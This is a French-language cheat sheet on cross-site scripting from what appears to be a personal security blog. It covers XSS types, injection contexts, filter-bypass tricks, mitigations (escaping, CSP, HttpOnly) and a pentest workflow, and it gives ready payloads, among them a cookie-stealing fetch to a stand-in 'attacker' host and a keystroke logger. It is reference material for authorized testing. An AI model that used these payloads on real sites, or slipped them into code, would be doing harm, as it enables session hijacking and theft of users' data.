PROFIL / INDEX© Clément Depernet / 2026

← Retour à la liste

05 oct. 20241 min de lecture

Cheat sheet — XSS (Cross-Site Scripting)

Les trois types de XSS (reflected, stored, DOM-based), l'importance du contexte d'injection (HTML, attribut, JS, URL), les payloads classiques, les techniques de bypass de filtres et les mitigations (échappement, CSP, cookies HttpOnly).

intermediate#xss#web#pentest#javascript#owasp#cheatsheet

Mis à jour le 21 sept. 2026

Payloads à usage d’audit autorisé uniquement.

Une XSS injecte du JavaScript exécuté côté client (navigateur de la victime) : vol de cookies, hijack de session, modification du DOM, phishing.

Trois types

  • Reflected — payload dans la requête, renvoyé immédiatement. GET /search?q=<script>alert(1)</script>. Usage : liens malveillants.
  • Stored (persistante) — payload stocké (commentaire, profil, message), exécuté pour tous les visiteurs → vol de sessions massif.
  • DOM-based — vulnérabilité côté JS frontend (ex. document.write(location.hash)), invisible côté serveur.

Le contexte dicte le payload

<div>INPUT</div>          <!-- HTML -->
<input value="INPUT">     <!-- attribut : sortir avec "> -->
var a = "INPUT"           // JS : sortir avec "; -->
<a href="INPUT">          <!-- URL : javascript: -->

Payloads classiques

<script>alert(1)</script>
<img src=x onerror=alert(1)>           <!-- sans balise script -->
<body onload=alert(1)>                 <!-- event handler -->
fetch('http://attacker/?c='+document.cookie)   <!-- vol de cookie -->
document.onkeypress = e => fetch('/log?key='+e.key)  <!-- keylogger -->

Bypass de filtres

%3Cscript%3Ealert(1)%3C/script%3E      (URL encode)
<sCrIpT>alert(1)</sCrIpT>              (casse mélangée)
<body onload=alert(1)>                 (event handler si <script> filtré)

Penser aussi au double encoding.

Mitigations

  • Échapper les sorties selon le contexte (HTML encode, JS encode).
  • CSP : Content-Security-Policy: default-src 'self'.
  • Cookies HttpOnly : empêchent JS d’accéder à document.cookie.
  • Valider les entrées, et s’appuyer sur l’auto-échappement des frameworks modernes (React, Angular).

Workflow

Identifier les inputs → tester <script>alert(1)</script> → adapter au contexte → bypass filtres → escalade (vol de session, actions à la place de la victime, pivot admin).

SEC / OPS / CD-01

Astro + Tailwind, conteneurisé, servi derrière Caddy · Inspiration · Thème sonore : Severance (Theodore Shapiro) · Trop mignon le favicon, non ?

PRÊT / CD-01